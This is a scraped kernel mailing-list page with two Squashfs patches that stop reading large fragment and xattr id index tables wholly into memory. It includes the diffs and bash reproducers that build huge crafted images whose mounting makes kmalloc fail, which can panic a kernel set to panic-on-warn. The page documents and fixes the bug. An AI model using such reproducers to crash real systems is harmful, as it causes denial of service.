@@ -57,16 +98,14 @@ int squashfs_frag_lookup(struct super_block *sb, unsigned int fragment, *fragment_size =le32_to_cpu (fragment_entry.size);return 0 ; } - -/* * Read the uncompressed fragment lookup table indexes off disk into memory */ -__le64 *squashfs_read_fragment_index_table (struct super_block *sb, +int squashfs_read_fragment_index_table (struct super_block *sb,u64 fragment_table_start,u64 next_table,unsigned int fragments) { -unsigned int length =squashfs_fragment_index_bytes (fragments); -__le64 *table; +struct squashfs_sb_info *msblk = sb->s_fs_info; +s32 length =squashfs_fragment_indexes_bytes (fragments);/* * The computed size of the index table (length bytes) should exactly
@@ -74,18 +113,36 @@ __le64 *squashfs_read_fragment_index_table(struct super_block *sb,*/ if (fragment_table_start >= next_table || length != (next_table - fragment_table_start)) -return ERR_PTR (-EINVAL ); +return -EINVAL ; - table =squashfs_read_table (sb, fragment_table_start, length); +if (length <= (PAGE_SIZE *4 )) { +/* Read fragment index into memory */ +__le64 *array =squashfs_read_table (sb, fragment_table_start, length); -/* -* table[0] points to the first fragment table metadata block, this -* should be less than fragment_table_start -*/ -if (!IS_ERR (table) &&le64_to_cpu (table[0 ]) >= fragment_table_start) { -kfree (table); -return ERR_PTR (-EINVAL ); +if (IS_ERR (array)) +return PTR_ERR (array); + +/* +* table[0] points to the first fragment table metadata block, this +* should be less than fragment_table_start +*/ +if (le64_to_cpu (array[0 ]) >= fragment_table_start) { +kfree (array); +return -EINVAL ; + } + + msblk->fragment_index_array = array; + msblk->fragment_index_is_cache = false; + }else { +/* Use a cache to store the last 16Kbytes of indexes read */ +struct squashfs_cache *cache =squashfs_cache_init ("fragment index" ,4 ,PAGE_SIZE ); + +if (IS_ERR (cache)) +return PTR_ERR (cache); + + msblk->fragment_index_cache = cache; + msblk->fragment_index_is_cache = true; } -return table; +return 0 ; }
fs/squashfs/squashfs.h +2 -1
@@ -71,8 +71,9 @@ extern s64 squashfs_inode_lookup_start(struct super_block *sb, u32 ino_num);/* fragment.c */ extern int squashfs_frag_lookup (struct super_block *sb,unsigned int fragment,u64 *fragment_block,int *fragment_size); -extern __le64 *squashfs_read_fragment_index_table (struct super_block *, +extern int squashfs_read_fragment_index_table (struct super_block *,u64 ,u64 ,unsigned int ); +extern s64 squashfs_frag_lookup_start (struct super_block *sb,u32 fragment);/* file.c */ void squashfs_copy_cache(struct folio *, struct squashfs_cache_entry *,
fs/squashfs/squashfs_fs_sb.h +7 -1
@@ -59,7 +59,10 @@ struct squashfs_sb_info {struct address_space *cache_mapping;int next_meta_index;__le64 *id_table; -__le64 *fragment_index; +union { +__le64 *fragment_index_array; +struct squashfs_cache *fragment_index_cache; + };__le64 *xattr_id_table;struct mutex meta_index_mutex;struct meta_index *meta_index;
@@ -71,6 +74,8 @@ struct squashfs_sb_info {u64 inode_table;u64 directory_table;u64 directory_table_end; +u64 fragment_table; +u64 fragment_table_start;u64 xattr_table;u64 lookup_table;u64 lookup_table_start;
@@ -85,5 +90,6 @@ struct squashfs_sb_info {const struct squashfs_decompressor_thread_ops *thread_ops;int max_thread_num;bool lookup_table_is_cache; + bool fragment_index_is_cache; };#endif
fs/squashfs/squashfs_helpers.h +27 -1
@@ -109,11 +109,37 @@ static inline s32 squashfs_fragment_indexes(u32 fragments)SQUASHFS_METADATA_SIZE ; } -static inline s32 squashfs_fragment_index_bytes (u32 fragments) +static inline s32 squashfs_fragment_indexes_bytes (u32 fragments) {return squashfs_fragment_indexes (fragments) *sizeof (long long ); } +static inline s32 squashfs_fragment_indexes_base (u32 fragments) +{ +return (squashfs_fragment_index (fragments) *sizeof (long long )) & ~(PAGE_SIZE -1 ); +} + +static inline s64 squashfs_fragment_indexes_start (u32 fragments,struct squashfs_sb_info *msblk) +{ +s32 base =squashfs_fragment_indexes_base (fragments); +s64 start; + +if (S64_MAX - msblk->fragment_table < base) +return -EINVAL ; + + start = msblk->fragment_table + base; + +if (start > msblk->bytes_used) +return -EINVAL ; + +return start; +} + +static inline s16 squashfs_fragment_indexes_offset (u32 fragments) +{ +return (squashfs_fragment_index (fragments) *sizeof (long long )) & (PAGE_SIZE -1 ); +} +/* inode lookup table defines */ static inline s64 squashfs_lookup_bytes (u32 inodes) {
fs/squashfs/super.c +22 -10
@@ -185,6 +185,14 @@ static void squashfs_free_inode_table(struct squashfs_sb_info *msblk)kfree (msblk->inode_lookup_array); } +static void squashfs_free_fragment_indexes (struct squashfs_sb_info *msblk) +{ +if (msblk->fragment_index_is_cache) +squashfs_cache_delete (msblk->fragment_index_cache); +else +kfree (msblk->fragment_index_array); +} +static int squashfs_fill_super (struct super_block *sb,struct fs_context *fc) {struct squashfs_mount_opts *opts = fc->fs_private;
@@ -300,6 +308,7 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc) msblk->inode_table =le64_to_cpu (sblk->inode_table_start); msblk->directory_table =le64_to_cpu (sblk->directory_table_start); + msblk->fragment_table =le64_to_cpu (sblk->fragment_table_start); msblk->inodes =le32_to_cpu (sblk->inodes); msblk->fragments =le32_to_cpu (sblk->fragments); msblk->ids =le16_to_cpu (sblk->no_ids);
@@ -317,8 +326,7 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)TRACE ("Number of ids %d\n" , msblk->ids);TRACE ("sblk->inode_table_start %llx\n" , msblk->inode_table);TRACE ("sblk->directory_table_start %llx\n" , msblk->directory_table); -TRACE ("sblk->fragment_table_start %llx\n" , - (u64 )le64_to_cpu (sblk->fragment_table_start)); +TRACE ("sblk->fragment_table_start %llx\n" , msblk->fragment_table);TRACE ("sblk->id_table_start %llx\n" , (u64 )le64_to_cpu (sblk->id_table_start));
@@ -433,15 +441,19 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc) }/* Allocate and read fragment index table */ - msblk->fragment_index =squashfs_read_fragment_index_table (sb, -le64_to_cpu (sblk->fragment_table_start), next_table, fragments); -if (IS_ERR (msblk->fragment_index)) { + err =squashfs_read_fragment_index_table (sb, msblk->fragment_table, + next_table, fragments); +if (err <0 ) { +errorf (fc,"unable to read fragment index table" ); + goto failed_mount; + } + + err =squashfs_frag_lookup_start (sb,0 ); +if (err <0 ) {errorf (fc,"unable to read fragment index table" ); - err =PTR_ERR (msblk->fragment_index); - msblk->fragment_index =NULL ; goto failed_mount; } - next_table =le64_to_cpu (msblk->fragment_index[0 ]); + next_table = msblk->fragment_table_start = err; check_directory_table:/* Sanity check directory_table */
@@ -493,7 +505,7 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)iput (msblk->cache_mapping->host); msblk->thread_ops->destroy (msblk);squashfs_free_inode_table (msblk); -kfree (msblk->fragment_index); +squashfs_free_fragment_indexes (msblk);kfree (msblk->id_table);kfree (msblk->xattr_id_table);kfree (sb->s_fs_info);
@@ -613,7 +625,7 @@ static void squashfs_put_super(struct super_block *sb)iput (sbi->cache_mapping->host); sbi->thread_ops->destroy (sbi);kfree (sbi->id_table); -kfree (sbi->fragment_index); +squashfs_free_fragment_indexes (sbi);kfree (sbi->meta_index);squashfs_free_inode_table (sbi);kfree (sbi->xattr_id_table);
Signature · 1 line
2.47.3
Andrew Morton
tree notice[to-be-updated] squashfs-dont-store-large-fragment-table-indexes-in-memory.patch removed from -mm tree
The quilt patch titled Subject: Squashfs: don't store large fragment table indexes in memory has been removed from the -mm tree. Its filename was…
The quilt patch titled
Subject: Squashfs: don't store large fragment table indexes in memory
has been removed from the -mm tree. Its filename was
squashfs-dont-store-large-fragment-table-indexes-in-memory.patch
This patch was dropped because an updated version will be issued
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: don't store large fragment table indexes in memory
Date: Wed, 11 Nov 2026 23:43:58 +0000
When mounting a Squashfs filesystem, the code reads the entire fragment table indexes into memory. Their size is determined by the number of fragments in the filesystem, where the maximum number of fragments is 2^32, and this will allocate and read 64 MiB.
This is an execessive and unnecessary amount of memory because the indexes do not need to be read into memory in their entirety. In addition kmalloc() is used to allocate memory, and this can fail when large amounts of memory are requested. Kmalloc() on modern kernels is usually limited to 4096 KiB. If panic-on-warn is set, then failure to allocate memory willl result in a kernel panic.
This commit uses a 4 page cache if the size of the fragment table indexes are 4 pages or larger. A simple and fast lookup array is retained where the total index size is less than 4 pages in size, which is the vast majority of Squashfs filesystems.
Reproducer
==========
The following reproducer will create a Squashfs filesystem with 280 million fragments, which will cause the fragment table indexes to exceed 4096 KiB, and the kmalloc() should fail when the filesystem is mounted.
=====================================================================
#!/bin/bash
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}IMG=$PWD/reproducer.sqsh
DIR=$(mktemp -d)
if [ -e $IMG ]; then
rm $IMG
fi
pushd $DIR 2>&1 > /dev/null
# create 20 million pseudo file links to file 2049 bytes in size truncate -s 2049 a a=0 while [ $a -le 19 ]; do b=0 while [ $b -le 999 ]; do c=0 while [ $c -le 999 ]; do echo "x/$a/$b/$c l a" >> file (( c ++ )) done (( b ++ )) done (( a ++ )) done
for i in $(seq 1 14); do
sed "s/x/$i/g" file > pseudo
echo
echo Iteration $i - appending 20 million files to Squashfs filesystem
echo
if ! mksquashfs - $IMG -pf pseudo -mem 100m -no-hardlinks -no-sparse -no-duplicates -no-exports -pd "d 0777 0 0" -no-recovery -b 4096; then
echo Appending to Squashfs filesystem failed
finish
fi
done
popd 2>&1 > /dev/null
rm -rf $DIR
echo Generated Squashfs filesystem $IMG
=====================================================================
fs/squashfs/fragment.c | 99 ++++++++++++++++++++++++------- fs/squashfs/squashfs.h | 3 fs/squashfs/squashfs_fs_sb.h | 8 ++ fs/squashfs/squashfs_helpers.h | 28 ++++++++ fs/squashfs/super.c | 32 ++++++---- 5 files changed, 136 insertions(+), 34 deletions(-)
fs/squashfs/fragment.c renamed from fs/squashfs/fragment.c~squashfs-dont-store-large-fragment-table-indexes-in-memory +78 -21
@@ -29,26 +29,67 @@#include "squashfs_helpers.h" #include "squashfs.h" +s64 squashfs_frag_lookup_start (struct super_block *sb,u32 fragment) +{ +struct squashfs_sb_info *msblk = sb->s_fs_info; +s64 start; + +if (msblk->fragment_index_is_cache) { +s32 length =squashfs_fragment_indexes_bytes (msblk->fragments); +s32 base =squashfs_fragment_indexes_base (fragment); +s32 offset =squashfs_fragment_indexes_offset (fragment); +s32 avail =min_t (int, length - base,PAGE_SIZE ); +struct squashfs_cache_entry *entry; + + start =squashfs_fragment_indexes_start (fragment, msblk); +if (start <0 ) +return start; + + entry =squashfs_cache_get (sb, msblk->fragment_index_cache, + start, avail |SQUASHFS_COMPRESSED_BIT_BLOCK ); +if (entry->error <0 ) { +int err = entry->error; + +squashfs_cache_put (entry); +return err; + } + + start =le64_to_cpu (((__le64 *)entry->data[0 ])[offset >>3 ]); +squashfs_cache_put (entry); + }else { +s32 block =squashfs_fragment_index (fragment); + + start =le64_to_cpu (msblk->fragment_index_array[block]); + } + +if (start < msblk->fragment_table_start || start >= msblk->fragment_table) +return -EIO ; + +return start; +} +/* * Look-up fragment using the fragment index table. Return the on disk * location of the fragment and its compressed size */ +int squashfs_frag_lookup (struct super_block *sb,unsigned int fragment,u64 *fragment_block,int *fragment_size) {struct squashfs_sb_info *msblk = sb->s_fs_info; -int block, offset, size; +s32 offset, size;struct squashfs_fragment_entry fragment_entry; -u64 start_block; +s64 start;if (fragment >= msblk->fragments)return -EIO ; - block =squashfs_fragment_index (fragment); - offset =squashfs_fragment_index_offset (fragment); - start_block =le64_to_cpu (msblk->fragment_index[block]); + start =squashfs_frag_lookup_start (sb, fragment); +if (start <0 ) +return start; - size =squashfs_read_metadata (sb, &fragment_entry, &start_block, + offset =squashfs_fragment_index_offset (fragment); + size =squashfs_read_metadata (sb, &fragment_entry, &start, &offset,sizeof (fragment_entry));if (size <0 )return size;
@@ -57,16 +98,14 @@ int squashfs_frag_lookup(struct super_bl *fragment_size =le32_to_cpu (fragment_entry.size);return 0 ; } - -/* * Read the uncompressed fragment lookup table indexes off disk into memory */ -__le64 *squashfs_read_fragment_index_table (struct super_block *sb, +int squashfs_read_fragment_index_table (struct super_block *sb,u64 fragment_table_start,u64 next_table,unsigned int fragments) { -unsigned int length =squashfs_fragment_index_bytes (fragments); -__le64 *table; +struct squashfs_sb_info *msblk = sb->s_fs_info; +s32 length =squashfs_fragment_indexes_bytes (fragments);/* * The computed size of the index table (length bytes) should exactly
@@ -74,18 +113,36 @@ __le64 *squashfs_read_fragment_index_tab*/ if (fragment_table_start >= next_table || length != (next_table - fragment_table_start)) -return ERR_PTR (-EINVAL ); +return -EINVAL ; - table =squashfs_read_table (sb, fragment_table_start, length); +if (length <= (PAGE_SIZE *4 )) { +/* Read fragment index into memory */ +__le64 *array =squashfs_read_table (sb, fragment_table_start, length); + +if (IS_ERR (array)) +return PTR_ERR (array); + +/* +* table[0] points to the first fragment table metadata block, this +* should be less than fragment_table_start +*/ +if (le64_to_cpu (array[0 ]) >= fragment_table_start) { +kfree (array); +return -EINVAL ; + } + + msblk->fragment_index_array = array; + msblk->fragment_index_is_cache = false; + }else { +/* Use a cache to store the last 16Kbytes of indexes read */ +struct squashfs_cache *cache =squashfs_cache_init ("fragment index" ,4 ,PAGE_SIZE ); -/* -* table[0] points to the first fragment table metadata block, this -* should be less than fragment_table_start -*/ -if (!IS_ERR (table) &&le64_to_cpu (table[0 ]) >= fragment_table_start) { -kfree (table); -return ERR_PTR (-EINVAL ); +if (IS_ERR (cache)) +return PTR_ERR (cache); + + msblk->fragment_index_cache = cache; + msblk->fragment_index_is_cache = true; } -return table; +return 0 ; }
fs/squashfs/squashfs_fs_sb.h renamed from fs/squashfs/squashfs_fs_sb.h~squashfs-dont-store-large-fragment-table-indexes-in-memory +7 -1
@@ -59,7 +59,10 @@ struct squashfs_sb_info {struct address_space *cache_mapping;int next_meta_index;__le64 *id_table; -__le64 *fragment_index; +union { +__le64 *fragment_index_array; +struct squashfs_cache *fragment_index_cache; + };__le64 *xattr_id_table;struct mutex meta_index_mutex;struct meta_index *meta_index;
@@ -71,6 +74,8 @@ struct squashfs_sb_info {u64 inode_table;u64 directory_table;u64 directory_table_end; +u64 fragment_table; +u64 fragment_table_start;u64 xattr_table;u64 lookup_table;u64 lookup_table_start;
@@ -85,5 +90,6 @@ struct squashfs_sb_info {const struct squashfs_decompressor_thread_ops *thread_ops;int max_thread_num;bool lookup_table_is_cache; + bool fragment_index_is_cache; };#endif
fs/squashfs/squashfs.h renamed from fs/squashfs/squashfs.h~squashfs-dont-store-large-fragment-table-indexes-in-memory +2 -1
@@ -71,8 +71,9 @@ extern s64 squashfs_inode_lookup_start(s/* fragment.c */ extern int squashfs_frag_lookup (struct super_block *sb,unsigned int fragment,u64 *fragment_block,int *fragment_size); -extern __le64 *squashfs_read_fragment_index_table (struct super_block *, +extern int squashfs_read_fragment_index_table (struct super_block *,u64 ,u64 ,unsigned int ); +extern s64 squashfs_frag_lookup_start (struct super_block *sb,u32 fragment);/* file.c */ void squashfs_copy_cache(struct folio *, struct squashfs_cache_entry *,
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-dont-store-large-fragment-table-indexes-in-memory +27 -1
@@ -109,11 +109,37 @@ static inline s32 squashfs_fragment_indeSQUASHFS_METADATA_SIZE ; } -static inline s32 squashfs_fragment_index_bytes (u32 fragments) +static inline s32 squashfs_fragment_indexes_bytes (u32 fragments) {return squashfs_fragment_indexes (fragments) *sizeof (long long ); } +static inline s32 squashfs_fragment_indexes_base (u32 fragments) +{ +return (squashfs_fragment_index (fragments) *sizeof (long long )) & ~(PAGE_SIZE -1 ); +} + +static inline s64 squashfs_fragment_indexes_start (u32 fragments,struct squashfs_sb_info *msblk) +{ +s32 base =squashfs_fragment_indexes_base (fragments); +s64 start; + +if (S64_MAX - msblk->fragment_table < base) +return -EINVAL ; + + start = msblk->fragment_table + base; + +if (start > msblk->bytes_used) +return -EINVAL ; + +return start; +} + +static inline s16 squashfs_fragment_indexes_offset (u32 fragments) +{ +return (squashfs_fragment_index (fragments) *sizeof (long long )) & (PAGE_SIZE -1 ); +} +/* inode lookup table defines */ static inline s64 squashfs_lookup_bytes (u32 inodes) {
fs/squashfs/super.c renamed from fs/squashfs/super.c~squashfs-dont-store-large-fragment-table-indexes-in-memory +22 -10
@@ -185,6 +185,14 @@ static void squashfs_free_inode_table(stkfree (msblk->inode_lookup_array); } +static void squashfs_free_fragment_indexes (struct squashfs_sb_info *msblk) +{ +if (msblk->fragment_index_is_cache) +squashfs_cache_delete (msblk->fragment_index_cache); +else +kfree (msblk->fragment_index_array); +} +static int squashfs_fill_super (struct super_block *sb,struct fs_context *fc) {struct squashfs_mount_opts *opts = fc->fs_private;
@@ -300,6 +308,7 @@ static int squashfs_fill_super(struct su msblk->inode_table =le64_to_cpu (sblk->inode_table_start); msblk->directory_table =le64_to_cpu (sblk->directory_table_start); + msblk->fragment_table =le64_to_cpu (sblk->fragment_table_start); msblk->inodes =le32_to_cpu (sblk->inodes); msblk->fragments =le32_to_cpu (sblk->fragments); msblk->ids =le16_to_cpu (sblk->no_ids);
@@ -317,8 +326,7 @@ static int squashfs_fill_super(struct suTRACE ("Number of ids %d\n" , msblk->ids);TRACE ("sblk->inode_table_start %llx\n" , msblk->inode_table);TRACE ("sblk->directory_table_start %llx\n" , msblk->directory_table); -TRACE ("sblk->fragment_table_start %llx\n" , - (u64 )le64_to_cpu (sblk->fragment_table_start)); +TRACE ("sblk->fragment_table_start %llx\n" , msblk->fragment_table);TRACE ("sblk->id_table_start %llx\n" , (u64 )le64_to_cpu (sblk->id_table_start));
@@ -433,15 +441,19 @@ handle_fragments: }/* Allocate and read fragment index table */ - msblk->fragment_index =squashfs_read_fragment_index_table (sb, -le64_to_cpu (sblk->fragment_table_start), next_table, fragments); -if (IS_ERR (msblk->fragment_index)) { + err =squashfs_read_fragment_index_table (sb, msblk->fragment_table, + next_table, fragments); +if (err <0 ) { +errorf (fc,"unable to read fragment index table" ); + goto failed_mount; + } + + err =squashfs_frag_lookup_start (sb,0 ); +if (err <0 ) {errorf (fc,"unable to read fragment index table" ); - err =PTR_ERR (msblk->fragment_index); - msblk->fragment_index =NULL ; goto failed_mount; } - next_table =le64_to_cpu (msblk->fragment_index[0 ]); + next_table = msblk->fragment_table_start = err; check_directory_table:/* Sanity check directory_table */
@@ -493,7 +505,7 @@ failed_mount:iput (msblk->cache_mapping->host); msblk->thread_ops->destroy (msblk);squashfs_free_inode_table (msblk); -kfree (msblk->fragment_index); +squashfs_free_fragment_indexes (msblk);kfree (msblk->id_table);kfree (msblk->xattr_id_table);kfree (sb->s_fs_info);
@@ -613,7 +625,7 @@ static void squashfs_put_super(struct suiput (sbi->cache_mapping->host); sbi->thread_ops->destroy (sbi);kfree (sbi->id_table); -kfree (sbi->fragment_index); +squashfs_free_fragment_indexes (sbi);kfree (sbi->meta_index);squashfs_free_inode_table (sbi);kfree (sbi->xattr_id_table);
_
Patches currently in -mm which might be from [email protected] are
squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch a.patch
Phillip Lougher
maintainerPATCH v2 19/22 Squashfs: don't store large xattr id table indexes in memory
In reply to Phillip LougherWhen mounting a Squashfs filesystem, the code reads the entire xattr id table indexes into memory. Their size is determined by the number of xattr ids in the filesystem, where the maximum number of xattr ids is 2^32, and this will allocate and read 64 MiB.
This is an excessive and unnecessary amount of memory because the indexes do not need to be read into memory in their entirety. In addition kmalloc() is used to allocate memory, and this can fail when large amounts of memory are requested. Kmalloc() on modern kernels is usually limited to 4096 KiB. If panic-on-warn is set, then failure to allocate memory will result in a kernel panic.
This commit uses a 4 page cache if the size of the xattr id table indexes are 4 pages or larger. A simple and fast lookup array is retained where the total index size is less than 4 pages in size, which is the vast majority of Squashfs filesystems.
Reproducer
==========
The following reproducer will create a Squashfs filesystem with 280 million xattr ids, which will cause the xattr id table indexes to exceed 4096 KiB, and the kmalloc() should fail when the filesystem is mounted.
=====================================================================
#!/bin/bash
ARGS="-pf pseudo -mem 100m -no-hardlinks -no-sparse -no-duplicates " ARGS+="-no-exports -no-recovery -no-progress -no-xattr-dups"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}IMG=$PWD/reproducer.sqsh
DIR=$(mktemp -d)
if [ -e $IMG ]; then
rm $IMG
fi
pushd $DIR 2>&1 > /dev/null
# create 20 million pseudo file links to empty file touch a a=0 while [ $a -le 19 ]; do b=0 while [ $b -le 999 ]; do c=0 while [ $c -le 999 ]; do echo "X/$a/$b/$c l a" >> file echo "X/$a/$b/$c x user.x=1" >> file (( c ++ )) done (( b ++ )) done (( a ++ )) done
for i in $(seq 1 14); do
sed "s/X/$i/g" file > pseudo
echo
echo Iteration $i - appending 20 million files to Squashfs filesystem echo
if ! mksquashfs - $IMG -pd "d 0777 0 0" $ARGS; then
echo Appending to Squashfs filesystem failed finish
fi
done
popd 2>&1 > /dev/null
rm -rf $DIR
echo Generated Squashfs filesystem $IMG
=====================================================================
---
v2: Widen offset in squashfs_xattr_lookup_start() to s32, to prevent
overflow when PAGE_SIZE is 64 KiB or larger.
--- fs/squashfs/inode.c | 2 +- fs/squashfs/squashfs_fs_sb.h | 8 +- fs/squashfs/squashfs_helpers.h | 29 +++++- fs/squashfs/super.c | 26 +++-- fs/squashfs/xattr.c | 22 +++-- fs/squashfs/xattr.h | 15 ++- fs/squashfs/xattr_id.c | 169 +++++++++++++++++++++++---------- 7 files changed, 198 insertions(+), 73 deletions(-)
fs/squashfs/inode.c +1 -1
@@ -434,7 +434,7 @@ int squashfs_read_inode(struct inode *inode, long long ino)return -EINVAL ; } -if (xattr_id !=SQUASHFS_INVALID_XATTR && msblk->xattr_id_table) { +if (xattr_id !=SQUASHFS_INVALID_XATTR && msblk->xattr_id_array) { err = squashfs_xattr_lookup(sb, xattr_id, &squashfs_i(inode)->xattr_count, &squashfs_i(inode)->xattr_size,
fs/squashfs/squashfs_fs_sb.h +7 -1
@@ -63,7 +63,10 @@ struct squashfs_sb_info {__le64 *fragment_index_array;struct squashfs_cache *fragment_index_cache; }; -__le64 *xattr_id_table; +union { +__le64 *xattr_id_array; +struct squashfs_cache *xattr_id_cache; + };struct mutex meta_index_mutex;struct meta_index *meta_index;void *stream;
@@ -79,6 +82,8 @@ struct squashfs_sb_info {u64 xattr_table;u64 lookup_table;u64 lookup_table_start; +u64 xattr_id_table; +u64 xattr_id_table_start;unsigned int block_size;unsigned short block_log;long long bytes_used;
@@ -91,5 +96,6 @@ struct squashfs_sb_info {int max_thread_num;bool lookup_table_is_cache;bool fragment_index_is_cache; + bool xattr_id_is_cache; };#endif
fs/squashfs/squashfs_helpers.h +28 -1
@@ -242,11 +242,38 @@ static inline s32 squashfs_xattr_blocks(u32 xattrs)SQUASHFS_METADATA_SIZE ; } -static inline s32 squashfs_xattr_block_bytes (u32 xattrs) +static inline s32 squashfs_xattr_blocks_bytes (u32 xattrs) {return squashfs_xattr_blocks (xattrs) *sizeof (long long ); } +static inline s32 squashfs_xattr_blocks_base (u32 xattrs) +{ +return (squashfs_xattr_block (xattrs) *sizeof (long long )) & ~(PAGE_SIZE -1 ); +} + +static inline s64 squashfs_xattr_blocks_start (u32 xattrs,struct squashfs_sb_info *msblk) +{ +s32 base =squashfs_xattr_blocks_base (xattrs); +s64 table_start = msblk->xattr_id_table +sizeof (struct squashfs_xattr_id_table ); +s64 start; + +if (S64_MAX - table_start < base) +return -EINVAL ; + + start = table_start + base; + +if (start > msblk->bytes_used) +return -EINVAL ; + +return start; +} + +static inline s16 squashfs_xattr_blocks_offset (u32 xattrs) +{ +return (squashfs_xattr_block (xattrs) *sizeof (long long )) & (PAGE_SIZE -1 ); +} +static inline u32 squashfs_xattr_blk (s64 xattr) {return xattr >>16 ;
fs/squashfs/super.c +16 -10
@@ -193,6 +193,14 @@ static void squashfs_free_fragment_indexes(struct squashfs_sb_info *msblk)kfree (msblk->fragment_index_array); } +static void squashfs_free_xattr_indexes (struct squashfs_sb_info *msblk) +{ +if (msblk->xattr_id_is_cache) +squashfs_cache_delete (msblk->xattr_id_cache); +else +kfree (msblk->xattr_id_array); +} +static int squashfs_fill_super (struct super_block *sb,struct fs_context *fc) {struct squashfs_mount_opts *opts = fc->fs_private;
@@ -202,7 +210,7 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)long long root_inode;unsigned short flags;unsigned int fragments; -u64 xattr_id_table_start, next_table; +u64 next_table;s64 err;int devblksize =sb_min_blocksize (sb,SQUASHFS_DEVBLK_SIZE );
@@ -376,19 +384,17 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)/* Handle xattrs */ sb->s_xattr = squashfs_xattr_handlers; - xattr_id_table_start =le64_to_cpu (sblk->xattr_id_table_start); -if (xattr_id_table_start ==SQUASHFS_INVALID_BLK ) { + msblk->xattr_id_table =le64_to_cpu (sblk->xattr_id_table_start); +if (msblk->xattr_id_table ==SQUASHFS_INVALID_BLK ) { next_table = msblk->bytes_used; goto allocate_id_index_table; }/* Allocate and read xattr id lookup table */ - msblk->xattr_id_table =squashfs_read_xattr_id_table (sb, - xattr_id_table_start, &msblk->xattr_table, &msblk->xattr_ids); -if (IS_ERR (msblk->xattr_id_table)) { + err =squashfs_read_xattr_id_table (sb, msblk->xattr_id_table, + &msblk->xattr_table, &msblk->xattr_ids); +if (err <0 ) {errorf (fc,"unable to read xattr id index table" ); - err =PTR_ERR (msblk->xattr_id_table); - msblk->xattr_id_table =NULL ;if (err != -ENOTSUPP ) goto failed_mount; }
@@ -507,7 +513,7 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)squashfs_free_inode_table (msblk);squashfs_free_fragment_indexes (msblk);kfree (msblk->id_table); -kfree (msblk->xattr_id_table); +squashfs_free_xattr_indexes (msblk);kfree (sb->s_fs_info); sb->s_fs_info =NULL ;kfree (sblk);
@@ -628,7 +634,7 @@ static void squashfs_put_super(struct super_block *sb)squashfs_free_fragment_indexes (sbi);kfree (sbi->meta_index);squashfs_free_inode_table (sbi); -kfree (sbi->xattr_id_table); +squashfs_free_xattr_indexes (sbi);kfree (sb->s_fs_info); sb->s_fs_info =NULL ; }
fs/squashfs/xattr.c +14 -8
@@ -30,10 +30,9 @@ ssize_t squashfs_listxattr(struct dentry *d, char *buffer,struct inode *inode =d_inode (d);struct super_block *sb = inode->i_sb;struct squashfs_sb_info *msblk = sb->s_fs_info; -u64 start =squashfs_xattr_blk (squashfs_i (inode)->xattr) - + msblk->xattr_table; -int offset =squashfs_xattr_offset (squashfs_i (inode)->xattr); -unsigned int count =squashfs_i (inode)->xattr_count; +u64 start; +int offset; +unsigned int count;size_t rest = buffer_size;int err;
@@ -41,9 +40,13 @@ ssize_t squashfs_listxattr(struct dentry *d, char *buffer,if (squashfs_i (inode)->xattr ==SQUASHFS_INVALID_BLK )return 0 ; + count =squashfs_i (inode)->xattr_count;if (count ==0 || count >squashfs_i (inode)->xattr_size)return -EIO ; + start =squashfs_xattr_blk (squashfs_i (inode)->xattr) + msblk->xattr_table; + offset =squashfs_xattr_offset (squashfs_i (inode)->xattr); +/* loop reading each xattr name */ while (count--) {struct squashfs_xattr_entry entry;
@@ -111,10 +114,9 @@ static int squashfs_xattr_get(struct inode *inode, int name_index, {struct super_block *sb = inode->i_sb;struct squashfs_sb_info *msblk = sb->s_fs_info; -u64 start =squashfs_xattr_blk (squashfs_i (inode)->xattr) - + msblk->xattr_table; -int offset =squashfs_xattr_offset (squashfs_i (inode)->xattr); -unsigned int count =squashfs_i (inode)->xattr_count; +u64 start; +int offset; +unsigned int count;int name_len =strlen (name);int err, vsize;char *target;
@@ -123,6 +125,7 @@ static int squashfs_xattr_get(struct inode *inode, int name_index,if (squashfs_i (inode)->xattr ==SQUASHFS_INVALID_BLK )return -ENODATA ; + count =squashfs_i (inode)->xattr_count;if (count ==0 || count >squashfs_i (inode)->xattr_size)return -EIO ;
@@ -130,6 +133,9 @@ static int squashfs_xattr_get(struct inode *inode, int name_index,if (target ==NULL )return -ENOMEM ; + start =squashfs_xattr_blk (squashfs_i (inode)->xattr) + msblk->xattr_table; + offset =squashfs_xattr_offset (squashfs_i (inode)->xattr); +/* loop reading each xattr name */ for (; count; count--) {struct squashfs_xattr_entry entry;
fs/squashfs/xattr.h +11 -4
@@ -9,25 +9,26 @@*/ #ifdef CONFIG_SQUASHFS_XATTR -extern __le64 *squashfs_read_xattr_id_table (struct super_block *,u64 , +extern int squashfs_read_xattr_id_table (struct super_block *,u64 ,u64 *,unsigned int *);extern int squashfs_xattr_lookup (struct super_block *,unsigned int ,unsigned int *,unsigned int *,unsigned long long *); +extern s64 squashfs_xattr_lookup_start (struct super_block *sb,u32 index);#else -static inline __le64 *squashfs_read_xattr_id_table (struct super_block *sb, +static inline int squashfs_read_xattr_id_table (struct super_block *sb,u64 start,u64 *xattr_table_start,unsigned int *xattr_ids) {struct squashfs_xattr_id_table *id_table; id_table =squashfs_read_table (sb, start,sizeof (*id_table));if (IS_ERR (id_table)) -return (__le64 *) id_table; +return PTR_ERR (id_table); *xattr_table_start =le64_to_cpu (id_table->xattr_table_start);kfree (id_table);ERROR ("Xattrs in filesystem, these will be ignored\n" ); -return ERR_PTR (-ENOTSUPP ); +return -ENOTSUPP ; } static inline int squashfs_xattr_lookup(struct super_block *sb,
@@ -36,6 +37,12 @@ static inline int squashfs_xattr_lookup(struct super_block *sb, {return 0 ; } + +static inline s64 squashfs_xattr_lookup_start (struct super_block *sb,u32 index) +{ +return 0 ; +} +#define squashfs_listxattr NULL#define squashfs_xattr_handlers NULL#endif
fs/squashfs/xattr_id.c +121 -48
